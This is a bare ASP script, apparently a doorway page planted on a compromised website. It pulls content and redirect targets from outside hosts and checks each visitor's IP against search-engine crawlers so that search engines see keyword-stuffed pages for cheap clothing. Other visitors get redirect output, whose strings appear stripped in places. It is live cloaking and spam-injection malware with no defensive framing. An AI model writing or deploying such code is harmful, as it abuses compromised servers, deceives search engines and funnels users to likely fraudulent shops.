<% Function getHTTPPage(url) On Error Resume Next dim http set http=Server.createobject("Microsoft.XMLHTTP") Http.open "GET",url,false Http.setRequestHeader "User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0" Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytesToBSTR(Http.responseBody,"utf-8") set http=nothing If Err.number<>0 then Response.Write "

" Response.end Err.Clear End If End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Randomize %> <% Dim Url,Html,hyzhdy,kname hyzhdy="http://bbimg.style-js.com/SJ/JDNEW.aspx" if request("iid")<>"" then kname =getHTTPPage("http://bbimg.style-js.com/gn.aspx?iid="&request("iid")) end if if request("kk")<>"" then ip="66.249.64.190" else ip=Request.ServerVariables("REMOTE_ADDR") end if ipurl="http://cdoi09.fr/getdomain.aspx?rnd=1&ip="&ip domain =getHTTPPage(ipurl) if(instr(domain,"google")=0 and instr(domain,"msn.com")=0 and instr(domain,"yahoo.com")=0 and instr(domain,"aol.com")=0) then if request("iid")<>"" then ddd=getHTTPPage("http://tz.div-js.com/xtz.txt") ddd=ddd&"?cid="&request("cid")&"&cname="&Server.URLEncode(kname) Response.write "" end if if request("searchtxt")<>"" then ddd=getHTTPPage("http://tz.div-js.com/xtz.txt") ddd=ddd&"?cid="&request("cid")&"&cname="&Server.URLEncode(request("searchtxt")) Response.write "" end if if request("pnum")<>"" then ddd=getHTTPPage("http://tz.div-js.com/xtz.txt") ddd=Replace(ddd, "products.aspx", "") ddd=ddd&"?cid="&request("cid") Response.write "" end if end if %> <%=kname%><%=request("searchtxt")%> online <%=request("pnum")%> "/> " /> <% if request("type")<>"" then if(request("type")="search") then URL=hyzhdy&"?cid="&request("cid")&"&searchtxt="&request("searchtxt") con=getHTTPPage(URL) If Request.ServerVariables("HTTPS")="off" Then con=Replace(con, "UUUUU", "http://"&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME")) else con=Replace(con, "UUUUU", "https://"&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME")) end if end if else if request("iid")<>"" then URL=hyzhdy&"?iid="&request("iid")&"&mt=http://tz.div-js.com/en/enm.txt&cid="&request("cid") else cid=INT((172-1+1)*rnd+1) if request("cid")<>"" then cid=request("cid") end if URL=hyzhdy&"?cid="&cid&"&pnum="&request("pnum") end if con=getHTTPPage(URL) If Request.ServerVariables("HTTPS")="off" Then con=Replace(con, "UUUUU", "http://"&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME")) else con=Replace(con, "UUUUU", "https://"&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME")) End If con=Replace(con, "BBBBB", Request.ServerVariables("HTTP_HOST")) con=Replace(con, "NNNNN", "Cheap Clothes, Shoes & Accessories") con=Replace(con, "SSSSS", "Discover cheap clothes, shoes and accessories for women at Our shop Outlet. Shop the latest womenswear collection at cheap prices.") con=Replace(con, "DDDDD", kname&" Discover cheap clothes, shoes and accessories for men at Our shop Outlet. Shop the latest menswear collection at cheap prices. "&request("searchtxt")) end if Response.write con %>